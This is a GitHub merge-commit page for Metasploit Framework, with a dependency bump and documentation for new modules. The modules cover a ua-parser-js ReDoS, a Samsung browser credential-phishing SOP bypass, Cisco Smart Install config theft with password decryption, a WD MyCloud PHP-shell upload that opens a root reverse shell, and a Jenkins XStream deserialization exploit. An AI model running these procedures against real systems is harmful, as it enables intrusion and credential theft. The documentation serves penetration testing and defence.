Skip to content

Commit 210f137

Browse files
committed
Merge branch 'upstream-master' into land-9296-
2 parents 358aca9 + 32c4860 commit 210f137

File tree

95 files changed

+2355
-256
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

95 files changed

+2355
-256
lines changed

Gemfile.lock

Lines changed: 8 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
PATH
22
remote: .
33
specs:
4-
metasploit-framework (4.16.23)
4+
metasploit-framework (4.16.25)
55
actionpack (~> 4.2.6)
66
activerecord (~> 4.2.6)
77
activesupport (~> 4.2.6)
@@ -17,9 +17,9 @@ PATH
1717
metasploit-concern
1818
metasploit-credential
1919
metasploit-model
20-
metasploit-payloads (= 1.3.19)
20+
metasploit-payloads (= 1.3.20)
2121
metasploit_data_models
22-
metasploit_payloads-mettle (= 0.2.8)
22+
metasploit_payloads-mettle (= 0.3.2)
2323
msgpack
2424
nessus_rest
2525
net-ssh
@@ -37,7 +37,6 @@ PATH
3737
railties
3838
rb-readline
3939
rbnacl (< 5.0.0)
40-
rbnacl-libsodium
4140
recog
4241
redcarpet
4342
rex-arch
@@ -138,7 +137,7 @@ GEM
138137
multi_json (~> 1.11)
139138
os (~> 0.9)
140139
signet (~> 0.7)
141-
grpc (1.7.3)
140+
grpc (1.8.0)
142141
google-protobuf (~> 3.1)
143142
googleapis-common-protos-types (~> 1.0.0)
144143
googleauth (>= 0.5.1, < 0.7)
@@ -178,7 +177,7 @@ GEM
178177
activemodel (~> 4.2.6)
179178
activesupport (~> 4.2.6)
180179
railties (~> 4.2.6)
181-
metasploit-payloads (1.3.19)
180+
metasploit-payloads (1.3.20)
182181
metasploit_data_models (2.0.15)
183182
activerecord (~> 4.2.6)
184183
activesupport (~> 4.2.6)
@@ -189,7 +188,7 @@ GEM
189188
postgres_ext
190189
railties (~> 4.2.6)
191190
recog (~> 2.0)
192-
metasploit_payloads-mettle (0.2.8)
191+
metasploit_payloads-mettle (0.3.2)
193192
method_source (0.9.0)
194193
mini_portile2 (2.3.0)
195194
minitest (5.10.3)
@@ -232,8 +231,8 @@ GEM
232231
rack (>= 1.0)
233232
rails-deprecated_sanitizer (1.0.3)
234233
activesupport (>= 4.2.0.alpha)
235-
rails-dom-testing (1.0.8)
236-
activesupport (>= 4.2.0.beta, < 5.0)
234+
rails-dom-testing (1.0.9)
235+
activesupport (>= 4.2.0, < 5.0)
237236
nokogiri (~> 1.6)
238237
rails-deprecated_sanitizer (>= 1.0.1)
239238
rails-html-sanitizer (1.0.3)
@@ -247,8 +246,6 @@ GEM
247246
rb-readline (0.5.5)
248247
rbnacl (4.0.2)
249248
ffi
250-
rbnacl-libsodium (1.0.15.1)
251-
rbnacl (>= 3.0.1)
252249
recog (2.1.17)
253250
nokogiri
254251
redcarpet (3.4.0)
1.41 MB
Loading

data/exploits/pfsense_clickjacking/cookieconsent.min.css

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

data/exploits/pfsense_clickjacking/cookieconsent.min.js

Lines changed: 1 addition & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 67 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,67 @@
1+
## Vulnerable Application
2+
3+
This auxiliary module exploits a Regular Expression Denial of Service vulnerability
4+
in the npm module `ua-parser-js`. Versions before 0.7.16 are vulnerable.
5+
Any application that uses a vulnerable version of this module and calls the `getOS`
6+
or `getResult` functions will be vulnerable to this module. An example server is provided
7+
below.
8+
9+
## How to Install
10+
11+
To install a vulnerable version of `ua-parser-js`, run:
12+
```
13+
14+
```
15+
16+
## Verification Steps
17+
18+
Example steps in this format (is also in the PR):
19+
20+
1. Create a new directory for test application.
21+
2. Copy below example server into test application directory as `server.js`.
22+
3. Run `npm i express` to install express in the test application directory.
23+
4. To test vulnerable versions of the module, run `npm i [email protected]` to install a vulnerable version of ua-parser-js.
24+
5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
25+
6. Once all dependencies are installed, run the server with `node server.js`.
26+
7. Open up a new terminal.
27+
8. Start msfconsole.
28+
9. `use auxiliary/dos/http/ua_parser_js_redos`.
29+
10. `set RHOST [IP]`.
30+
11. `run`.
31+
12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
32+
13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
33+
34+
## Scenarios
35+
36+
### ua-parser-js npm module version 0.7.15
37+
38+
Expected output for successful exploitation:
39+
40+
```
41+
[*] Testing Service to make sure it is working.
42+
[*] Test request successful, attempting to send payload
43+
[*] Sending ReDoS request to 192.168.3.24:3000.
44+
[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
45+
[*] Testing for service unresponsiveness.
46+
[+] Service not responding.
47+
[*] Auxiliary module execution completed
48+
```
49+
50+
### Example Vulnerable Application
51+
52+
```
53+
// npm i express
54+
// npm i [email protected] (vulnerable)
55+
// npm i ua-parser-js (non-vulnerable)
56+
57+
const express = require('express')
58+
const uaParser = require('ua-parser-js');
59+
const app = express()
60+
61+
app.get('/', (req, res) => {
62+
var parser = new uaParser(req.headers['user-agent']);
63+
res.end(JSON.stringify(parser.getResult()));
64+
});
65+
66+
app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
67+
```
Lines changed: 56 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,56 @@
1+
## Description
2+
This module takes advantage of a Same-Origin Policy (SOP) bypass vulnerability in the Samsung Internet Browser (CVE-2017-17692), a popular mobile browser shipping with Samsung Android devices. By default, it initiates a redirect to a child tab, and rewrites the innerHTML to gather credentials via a fake pop-up and the gather credentials is stored in `creds`
3+
4+
## Vulnerable Application
5+
This Module was tested on Samsung Internet Browser 5.4.02.3 during development.
6+
7+
## Verification Steps
8+
1. Start `msfconsole -q`
9+
2. `use auxiliary/gather/samsung_browser_sop_bypass`
10+
3. `set SRVHOST`
11+
4. `set SRVPORT`
12+
5. `set URIPATH`
13+
6. `set TARGET_URL`
14+
5. `run`
15+
16+
## Scenarios
17+
```
18+
$ sudo msfconsole -q
19+
msf > use auxiliary/gather/samsung_browser_sop_bypass
20+
msf auxiliary(samsung_browser_sop_bypass) > set SRVHOST 192.168.1.104
21+
SRVHOST => 192.168.1.104
22+
msf auxiliary(samsung_browser_sop_bypass) > set SRVPORT 9090
23+
SRVPORT => 9090
24+
msf auxiliary(samsung_browser_sop_bypass) > set URIPATH /
25+
URIPATH => /
26+
msf auxiliary(samsung_browser_sop_bypass) > set TARGET_URL https://www.google.com/csi
27+
TARGET_URL => https://www.google.com/csi
28+
msf auxiliary(samsung_browser_sop_bypass) > run
29+
[*] Auxiliary module execution completed
30+
msf auxiliary(samsung_browser_sop_bypass) >
31+
[*] Using URL: http://192.168.1.104:9090/
32+
[*] Server started.
33+
[*] 192.168.1.101: Request 'GET /'
34+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
35+
[*] 192.168.1.101: Request 'GET /favicon.ico'
36+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
37+
[*] 192.168.1.101: Request 'GET /favicon.ico'
38+
[*] 192.168.1.101: Attempting to spoof origin for https://www.google.com/csi
39+
[+] 192.168.1.101: Collected credential for 'https://www.google.com/csi' emailID:MyStrongPassword
40+
41+
msf auxiliary(samsung_browser_sop_bypass) > creds
42+
Credentials
43+
===========
44+
45+
host origin service public private realm private_type
46+
---- ------ ------- ------ ------- ----- ------------
47+
emailID MyStrongPassword https://www.google.com/csi Password
48+
49+
msf auxiliary(samsung_browser_sop_bypass) >
50+
```
51+
52+
## Demos
53+
54+
Working of MSF Module: `https://youtu.be/ulU98cWVhoI`
55+
56+
Vulnerable Browser: `https://youtu.be/lpkbogxJXnw`

documentation/modules/auxiliary/scanner/misc/cisco_smart_install.md

Lines changed: 32 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,28 @@
55
## Verification Steps
66

77
1. Do: ```use auxiliary/scanner/misc/cisco_smart_install```
8-
2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
8+
2. Do: ```set ACTION SCAN```
9+
3. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of SMI
910
3. Do: ```run```
1011
4. If the host is exposing an identifiable SMI instance, it will print the endpoint.
1112

13+
## Options
14+
15+
### SLEEP
16+
Time to wait for connection back from target. Default is `60` seconds if using `DOWNLOAD` action
17+
18+
### LHOST
19+
Address to bind to for TFTP server to accept connections if using `DOWNLOAD` action
20+
21+
## Actions
22+
There are two actions, default being ```SCAN```
23+
24+
1. **SCAN** - Scan for Smart Install endpoints. [Default]
25+
2. **DOWNLOAD** - Request devices configuration and send to our TFTP server
1226

1327
## Scenarios
1428

29+
Using the default `SCAN` action
1530
```
1631
msf auxiliary(cisco_smart_install) > run
1732
@@ -28,3 +43,19 @@ msf auxiliary(cisco_smart_install) > run
2843
[*] Scanned 512 of 512 hosts (100% complete)
2944
[*] Auxiliary module execution completed
3045
```
46+
47+
Using the `DOWNLOAD` action
48+
49+
```
50+
[*] 192.168.0.26:4786 - Starting TFTP Server...
51+
[+] 192.168.0.26:4786 - Fingerprinted the Cisco Smart Install protocol
52+
[*] 192.168.0.26:4786 - Attempting copy system:running-config tftp://192.168.0.11/kWqjngYF
53+
[*] 192.168.0.26:4786 - Waiting 60 seconds for configuration
54+
[*] 192.168.0.26:4786 - Incoming file from 192.168.0.26 - kWqjngYF (31036 bytes)
55+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Decrypted Enable Password: testcase
56+
[+] 192.168.0.26:4786 - 192.168.0.26:4786 Username 'admin' with Decrypted Password: testcase)
57+
[*] 192.168.0.26:4786 - Providing some time for transfers to complete...
58+
[*] 192.168.0.26:4786 - Shutting down the TFTP service...
59+
[*] Scanned 1 of 1 hosts (100% complete)
60+
[*] Auxiliary module execution completed
61+
```
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
## Vulnerable Application
2+
3+
[Web Services Dynamic Discovery (WS-Discovery)](https://en.wikipedia.org/wiki/WS-Discovery) is a multicast discovery protocol utilising SOAP over UDP to locate web services on a local network.
4+
5+
Web service enabled devices typically include printers, scanners and file shares.
6+
7+
The reply from some devices may include optional vendor extensions. This data may include network information such as the device MAC address and hostname, or hardware information such as the serial number, make, and model.
8+
9+
10+
## Verification Steps
11+
12+
1. Start `msfconsole`
13+
2. Do: `use auxiliary/scanner/wsdd/wsdd_query`
14+
3. Do: `set RHOSTS [IP]` (Default: `239.255.255.250`)
15+
4. Do: `run`
16+
17+
18+
## Scenarios
19+
20+
```
21+
msf > use auxiliary/scanner/wsdd/wsdd_query
22+
msf auxiliary(wsdd_query) > set rhosts 239.255.255.250
23+
rhosts => 239.255.255.250
24+
msf auxiliary(wsdd_query) > run
25+
26+
[*] Sending WS-Discovery probe to 1 hosts
27+
[+] 10.1.1.184 responded with:
28+
Address: http://10.1.1.184:3911/
29+
Types: wsdp:Device, wprt:PrintDeviceType, wscn:ScanDeviceType, hpd:hpDevice
30+
Vendor Extensions: {"HardwareAddress"=>"123456789ABC", "UUID"=>"12345678-1234-1234-abcd-123456789abc", "IPv4Address"=>"10.1.1.123", "Hostname"=>"HP09AAFB", "DeviceId"=>"MFG:HP;MDL:Photosmart 5520 series;DES:CX042A;", "DeviceIdentification"=>{"MakeAndModel"=>"Photosmart 5520 series", "MakeAndModelBase"=>"Photosmart 5520 series"}, "SerialNumber"=>"123456", "Services"=>" Print9100 SclScan RESTScan CIFS DOT4 LEDM", "AdapterType"=>"WifiEmbedded"}
31+
[*] Scanned 1 of 1 hosts (100% complete)
32+
[*] Auxiliary module execution completed
33+
```
34+
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
## Description
2+
3+
This module exploits a file upload vulnerability found in Western Digital's MyCloud NAS web administration HTTP service. The /web/jquery/uploader/multi_uploadify.php PHP script provides multipart upload functionality that is accessible without authentication and can be used to place a file anywhere on the device's file system. This allows an attacker the ability to upload a PHP shell onto the device and obtain arbitrary code execution as root.
4+
5+
## Vulnerable Application
6+
7+
[Western Digital](https://www.wdc.com/) designs drives and network attached storage (NAS) devices for both consumers and businesses.
8+
9+
This module was tested successfully on a MyCloud PR4100 with firmware version 2.30.172 .
10+
11+
## Verification Steps
12+
13+
1. Do: ```use exploit/linux/http/wd_mycloud_multiupload_upload```
14+
2. Do: ```set RHOST [IP]```
15+
3. Do: ```check```
16+
4. It should be reported as vulnerable
17+
5. Do: ```run```
18+
6. You should get a shell
19+
20+
## Scenarios
21+
22+
```
23+
msf > use exploit/linux/http/wd_mycloud_multiupload_upload
24+
msf exploit(wd_mycloud_multiupload_upload) > set RHOST 192.168.86.104
25+
RHOST => 192.168.86.104
26+
msf exploit(wd_mycloud_multiupload_upload) > check
27+
[+] 192.168.86.104:80 The target is vulnerable.
28+
msf exploit(wd_mycloud_multiupload_upload) > run
29+
30+
[*] Started reverse TCP handler on 192.168.86.215:4444
31+
[*] Uploading PHP payload (1124 bytes) to '/var/www'.
32+
[+] Uploaded PHP payload successfully.
33+
[*] Making request for '/.7bc5NqFMK5.php' to execute payload.
34+
[*] Sending stage (37543 bytes) to 192.168.86.104
35+
[*] Meterpreter session 1 opened (192.168.86.215:4444 -> 192.168.86.104:38086) at 2017-11-28 06:07:14 -0600
36+
[+] Deleted .7bc5NqFMK5.php
37+
38+
meterpreter > getuid
39+
Server username: root (0)
40+
```
Lines changed: 62 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,62 @@
1+
Jenkins XStream Groovy classpath Deserialization Vulnerability (CVE-2016-0792)
2+
3+
This module exploits a vulnerability in Jenkins versions older than 1.650 and Jenkins LTS versions older than 1.642.2 which is caused by unsafe deserialization in XStream with Groovy in the classpath, which allows remote arbitrary code execution. The issue affects default installations. Authentication is not required to exploit the vulnerability.
4+
5+
## Vulnerable Application
6+
7+
Jenkins versions < 1.650 and Jenkins LTS versions < 1.642.2
8+
9+
Download Jenkins (Windows) < version 1.650 from here:
10+
http://mirrors.jenkins-ci.org/windows/
11+
12+
Windows Installation: Double click .msi
13+
14+
Download Jenkins LTS (Debian) < version 1.642.2 from here:
15+
https://pkg.jenkins.io/debian-stable/
16+
17+
Download Jenkins (Debian) < version 1.650 from here:
18+
https://pkg.jenkins.io/debian/
19+
20+
Debian Installation: `sudo dpkg --install jenkins_1.642.1_all.deb`
21+
22+
## Options
23+
24+
**TARGETURI**
25+
26+
The base path to Jenkins application `/` by default
27+
28+
**VHOST**
29+
30+
The HTTP server virtual host. You may need to configure this as well, even though it is set as optional.
31+
32+
**The Check Command**
33+
34+
The `jenkins_xstream_deserialize` module comes with a check command that can attempt to check if the remote host is vulnerable or not. To use this, configure the msfconsole similar to the following:
35+
36+
Note: The check only uses `appears to be vulnerable` because it is not possible to differentiate from HTTP headers which Jenkins line (Weekly or LTS) is running.
37+
38+
```
39+
set RHOST [IP]
40+
41+
set TARGETURI [path to Jenkins]
42+
```
43+
44+
```
45+
msf exploit(jenkins_xstream_deserialize) > check
46+
47+
[*] 192.168.1.64:8080 The target appears to be vulnerable..
48+
```
49+
50+
**Exploiting the Host**
51+
52+
After identifying the vulnerability on the target machine, you can try to exploit it. Be sure to set TARGETURI to the correct URI for your application, and the TARGET variable for the appropriate host OS.
53+
54+
```
55+
msf exploit(jenkins_xstream_deserialize) > set RHOST 192.168.1.37
56+
RHOST => 192.168.1.37
57+
msf exploit(jenkins_xstream_deserialize) > set target 3
58+
target => 3
59+
msf exploit(jenkins_xstream_deserialize) > set payload windows/x64/meterpreter/reverse_tcp
60+
payload => windows/x64/meterpreter/reverse_tcp
61+
msf exploit(jenkins_xstream_deserialize) > exploit
62+
```

0 commit comments

Comments
 (0)